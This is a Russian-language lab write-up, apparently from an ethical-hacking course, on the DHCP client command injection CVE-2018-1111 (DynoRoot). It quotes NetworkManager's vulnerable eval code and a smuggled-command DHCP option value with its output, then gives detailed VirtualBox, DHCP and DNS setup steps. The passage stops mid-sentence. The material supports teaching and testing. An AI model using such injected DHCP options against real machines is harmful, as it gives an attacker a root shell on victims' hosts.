
Эксплуатация DHCP с помощью DynoRoot (CVE-2018-1111)
Этот проект демонстрирует известную уязвимость машин Fedora и RedHat, связанную с небезопасной реализацией клиентской части протокола Dynamic Host Configuration Protocol (DHCP). Поддельный DHCP-сервер может создавать DHCP-предложения с вредоносной нагрузкой, которая выполняется в корневой оболочке на машине жертвы.
Уязвимость приписывается Феликсу Вильгельму (Felix Wilhelm) и известна как CVE-2018-1111 или «DynoRoot».
Протокол Dynamic Host Configuration Protocol (DHCP) — это часто упускаемый из виду компонент в сетевых системах. Его роль заключается в динамической настройке машин-хостов, подключающихся к существующей сети. Наиболее распространенный случай использования — назначение IP-адреса вновь подключенным хостам и информирование о существующих маршрутах для доступа к другим сетям. Могут быть указаны дополнительные опции, например адрес локального DNS-сервера и обслуживаемая зона, или местоположение загрузочного файла.
Давайте проанализируем четырехшаговый протокол, который выполняется, когда новый хост хочет присоединиться к сети после физического подключения через Ethernet или беспроводное соединение.
DISCOVER в сеть.OFFER, содержащим: IP-адрес, маску подсети, адрес маршрутизатора и другие опции.REQUEST, официально запрашивая аренду IP-адреса, который был предложен.ACK, указывая, что клиенту разрешено использовать IP-адрес в течение заданного времени.После начального обмена клиент может продлить аренду, просто отправив еще одно сообщение REQUEST. Сервер проверит наличие аренды с IP-адресом и MAC-адресом клиента и ответит сообщением ACK.
Некоторые моменты, на которые стоит обратить внимание:
DISCOVER и сразу запросить REQUEST адрес. Это распространено в сценариях, когда клиент уже подключался к сети ранее и помнит предыдущий адрес. В этом случае сервер проверяет доступность адреса и подтверждает запрос ACK, или, если аренда недоступна, отправляет NACK.RELEASE, чтобы сообщить серверу, что адрес теперь доступен. Однако это не требуется протоколом, и сервер будет периодически собирать просроченные аренды.OFFER, он примет только один; остальные серверы увидят широковещательный REQUEST и отменят предложение.Уязвимость находится в /etc/NetworkManager/dispatcher.d/11-dhclient, который выполняется клиентом для разбора и установки опций, полученных через DHCP.
declare — это встроенная команда bash, которая при использовании без аргументов выводит все объявленные переменныеgrep фильтрует все переменные, связанные с DHCPwhile read opt перебирает переменные DHCP одну за другой, выполняет некоторый разбор и выводит строку вида export new_optionname=value для каждой опцииexport затем выполняются оболочкой через `eval````bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Обычная работа
В нормальных ситуациях код будет работать отлично и распарсит новые опции DHCP. Например, следующий код:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Будут выведены эти два оператора export для оценки с помощью eval:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Внедрение кода
Однако из-за небезопасного `eval` существует возможность внедрения команд bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Приведет к выполнению echo Hacked!:```text
[1] 1541
Hacked!
### Источники
- [Запись в базе эксплойтов](https://www.exploit-db.com/exploits/44890)
- [Объявление RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Пост в блоге Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Репозиторий GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Объявление в Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Настройка
Минимальная настройка для демонстрации эксплойта состоит всего из двух машин: машины `victim` под управлением Fedora 28 и машины `attacker`. В этой настройке атакующему нужно просто предоставить службу DHCP и дождаться подключения жертвы.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Минимальная настройка эксплойта.</figcaption>
</figure>
Более реалистичная настройка разместит машины в частной сети, где третья машина, `gateway`, настроена как доброкачественный DHCP-сервер и как шлюз к внешнему интернету. В этой настройке атакующему необходимо предотвратить подключение жертвы к легитимному DHCP-серверу, прежде чем надеяться выполнить атаку.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>Настройка частной сети с одной машиной-шлюзом, действующей как DHCP, маршрутизатор и межсетевой экран.</figcaption>
</figure>
В следующих разделах мы:
1. Установим VirtualBox
2. Создадим 3 виртуальные машины: `gateway`, `attacker` и `victim`
3. Установим ОС на машины (пользователи, сеть и доступ по SSH)
4. Настроим шлюз для размещения доброкачественного DHCP-сервера для виртуальной внутренней сети, предоставляемой VirtualBox
5. Установим зависимости Python для атаки
Чтобы [перейти сразу к делу](#performing-the-attack) и пропустить ручную настройку, можно запустить скрипт [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) в папке `ansible`, который (почти) автоматически создаст виртуальные машины и настроит их с помощью [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html). Просто убедитесь, что Ansible и VirtualBox установлены перед запуском `setup.sh`.
### Предварительные условия
#### Установка VirtualBox
Следующие инструкции взяты из [официального руководства по установке](https://www.virtualbox.org/wiki/Downloads).
Добавьте эту строку в `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
Установите virtualbox и пакет расширений:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Установка Ansible (опционально)
Из [официального руководства для Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
В этом разделе мы создадим учётные данные SSH, которые будем использовать для входа в машины. Добавление записей хостов в конфигурационный файл SSH избавит нас от лишнего набора текста в дальнейшем.
Создайте ключ SSH без парольной фразы:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
Добавьте следующие записи в конфигурацию SSH (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Эта машина содержит легитимный DHCP-сервер, управляющий пулом адресов во внутренней сети. Она основана на Ubuntu Server 18.04 с пакетом ISC DHCP.
В реальном сценарии эта машина также выступала бы в роли маршрутизатора (iptables) и межсетевого экрана (UFW Uncomplicated Firewall) между машинами в сети и внешним миром. Возможно, она также размещала бы DNS-сервер для некоторых внутренних сервисов (BIND9).
Мы создадим виртуальную машину с помощью инструментов командной строки VirtualBox, чтобы процесс можно было повторить как можно быстрее. В противном случае можно создать ВМ через графический интерфейс, введя ту же конфигурацию.
Скачайте ISO-образ Ubuntu:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
Создайте ВМ:
- Сетевой интерфейс 1 подключён к стандартной сети NAT VirtualBox
- Сетевой интерфейс 2 подключён к внутренней сети `intnet`\
(буква "d" в MAC-адресе означает DHCP)
- Перенаправление портов с порта `600x` на хосте на SSH-порт виртуальной машины```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
Если что-то пойдет не так:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Установка ОС
При первой загрузке машины нам потребуется виртуальный рабочий стол для выполнения шагов установки. Мы
можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox
запущен на настольном компьютере, возможно, будет проще запустить виртуальную машину из графического интерфейса, но
этот метод будет работать даже с удалённым хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Параметры конфигурации для установщика:
gatewaygatewaygat192.168.0.1 на enp0s8

После установки выключите, извлеките ISO и отключите VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Вход по SSH
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `gateway`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
Установить ISC DHCP:```bash sudo apt install -y isc-dhcp-server
Чтобы включить DHCP на внутреннем интерфейсе, отредактируем `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
Конфигурация пула адресов, управляемого DHCP, записывается в /etc/dhcp/dhcpd.conf:```
authoritative;
default-lease-time 60; max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }
Выбранное время аренды по умолчанию в 1 минуту довольно мало, но оно полезно для демонстрационных целей.
<!--```bash
echo '
authoritative;
default-lease-time 60;
max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.105;
option domain-name-servers 192.168.0.53;
option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
sudo systemctl restart isc-dhcp-server
Перезапустить службу:
-->```bash sudo systemctl restart isc-dhcp-server
События DHCP записываются в `/var/log/syslog`. Мы можем выделить соответствующие записи с помощью:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Если мы оставим gateway включённым во время установки других машин, они автоматически получат конфигурацию DHCP.
sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9
Редактируйте `/etc/bind/named.conf.options`:```bash
echo '
options {
directory "/var/cache/bind";
allow-query { any; };
recursion no;
listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null
Редактируйте /etc/bind/named.conf.local:```bash
echo '
zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };
zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null
Создайте файлы прямой и обратной зоны в папке, доступной только для чтения для bind:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones
echo '
$TTL 86400 ; Clients will cache DNS responses for 1 day
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
3 ; Serial
604800 ; Refresh (1 week)
86400 ; Retry (1 day)
2419200 ; Expire (4 weeks)
604800 ; Negative Cache TTL (4 weeks)
) ; The values above are only relevant for secondary DNS servers
; name servers
@ IN NS dns.100waystocook.pizza.
; 192.168.0.0/24
dns IN A 192.168.0.53
server IN A 192.168.0.1
www IN CNAME server
mongo IN CNAME server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
echo '
$TTL 604800
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS dns.100waystocook.pizza.
; PTR Records
1 IN PTR server.100waystocook.pizza. ; 192.168.0.1
53 IN PTR dns.100waystocook.pizza. ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
Выполнить проверки и перезапустить:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0
sudo systemctl restart bind9
Проверьте, что это работает```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza
Создание симметричного ключа для обновлений DNS:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"
KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE
KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"
cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF
sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"
Включите ключ в `/etc/bind/named.conf.local`:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';
# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
type master;
file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
notify no;
# grant whoever owns the key the permission to update
# the A and TXT records for server.100waystocook.pizza.
update-policy {
grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
};
};
# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
type master;
file '/var/lib/bind/zones-dyn/db.192.168.0';
notify no;
# grant whoever owns the key the permission to update
# the PTR record for IPs in within the reverse zone
update-policy {
grant ${KEY_NAME} zonesub PTR;
};
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null
Скопируйте исходный файл зоны в папку, доступную для записи bind, удалите запись server:```bash
sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn
sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0
Запустить проверки и перезапустить:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
sudo systemctl restart bind9
Проверьте, что всё работает, вручную обновив DNS-запись.
Следя за tail -f /var/log/syslog на предмет ошибок, выполните следующие действия.
В конце удалите новые записи, иначе обновления DHCP завершатся ошибкой:```bash
TTL=60
NEW_NAME='server'
NEW_IP='99'
systemd-resolve "${NEW_NAME}.100waystocook.pizza"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}
zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.
send EOF
sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A
zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR
send EOF
##### Конфигурация DHCP
Настройте DHCP для автоматического обновления записей DNS:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"
# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
algorithm HMAC-SHA512;
secret ${KEY_SECRET};
};
EOF
sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"
echo "
authoritative;
# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;
default-lease-time 120;
max-lease-time 7200;
include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
zone 100waystocook.pizza. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
zone 0.168.192.in-addr.arpa. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.1 192.168.0.20;
option domain-name-servers 192.168.0.53;
option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo systemctl restart isc-dhcp-server
Конфигурацию DHCP можно проверить с помощью sudo dhcpd -t.
Когда машина с именем хоста server запускается, /var/log/syslog должен выглядеть следующим образом:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
Когда запускается другая машина с именем хоста `fedora`, она получает IP-адрес, но не добавляется в DNS из-за `update-policy`:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
Проблема в том, что DHCP зарегистрирует любую машину с именем хоста server в DNS, при условии, что она первая. Если злоумышленник попытается подключиться через DHCP с дублирующимся именем хоста server, DHCP заметит это и откажется обновлять DNS.```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.
Но если легитимный `server` на некоторое время выходит из строя, его аренда освобождается, а записи удаляются. Тогда злоумышленник может просто проникнуть, указав `server` в качестве имени хоста при начальном DHCP-обмене.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
-->
К машине атакующего нет особых требований, ей нужен Python в среде Conda. Для простоты можно использовать ISO-образ с Ubuntu Server 18.04.
Создайте ВМ:
intnet600x на хосте на SSH-порт виртуальной машины```bash
VM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}"
--memory 2048
--acpi on
--boot1 dvd
--nic1 nat
--nic2 'intnet'
--macaddress2 "${VM_MAC//:/}"
--natpf1 "guestssh,tcp,,${SSH_PORT},,22"
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 0
--type hdd
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
#### OS Install
При первой загрузке машины нам понадобится виртуальный рабочий стол для выполнения шагов установки. Мы можем запустить виртуальную машину в безголовом режиме и использовать `rdesktop-vrdp` для подключения. Если VirtualBox запущен на настольном компьютере, возможно, будет проще запустить виртуальную машину из графического интерфейса, но этот метод будет работать даже с удаленным хостом VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Параметры конфигурации для установщика:
attackerattackerattenp0s8 на использование DHCP
После завершения установки выключите машину, удалите ISO и отключите VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Вход по SSH
Для удобства доступа мы можем установить созданный выше SSH-ключ на машину `attacker`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack
Сценарии атак на Python должны запускаться от имени root, чтобы иметь возможность создавать низкоуровневые сетевые пакеты с помощью Scapy. Для простоты мы просто установим все зависимости от имени пользователя root.
apt-get install -y build-essential autoconf git clone https://github.com/nmap/nmap pushd nmap git checkout 0de714 ./configure make make install popd
nmap --script broadcast-dhcp-discover --script-args mac=random,timeout=2 -e enp0s8 nmap --script dhcp-discover --script-args dhcptype=DHCPRELEASE,mac=08:00:27:EF:5F:BA -e enp0s8
--> [Окружение Conda](https://docs.conda.io/en/latest/) с Scapy:```bash
sudo su
cd
wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh'
chmod u+x Miniconda3-latest-Linux-x86_64.sh
./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda
./miniconda/bin/conda init
source .bashrc
conda create -y -n dynoroot python=3.6
conda activate dynoroot
pip install 'scapy[complete]'
Далее мы получим два скрипта атак с GitHub:
Жертвенная машина не настроена каким-либо особым образом, это просто установка Fedora 28 с уязвимым NetworkManager.
Скачайте ISO-образ Fedora:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF
Создайте ВМ:
- Сетевой интерфейс 1 подключен к сети NAT по умолчанию VirtualBox
- Сетевой интерфейс 2 подключен к внутренней сети `intnet`\
("f" в MAC-адресе означает Fedora)
- Перенаправление портов с порта `600x` на хосте на порт SSH в виртуальной машине```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
Если что-то пошло не так:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Установка ОС
Первый раз при загрузке машины нам понадобится виртуальный рабочий стол для следования шагам установки. Мы
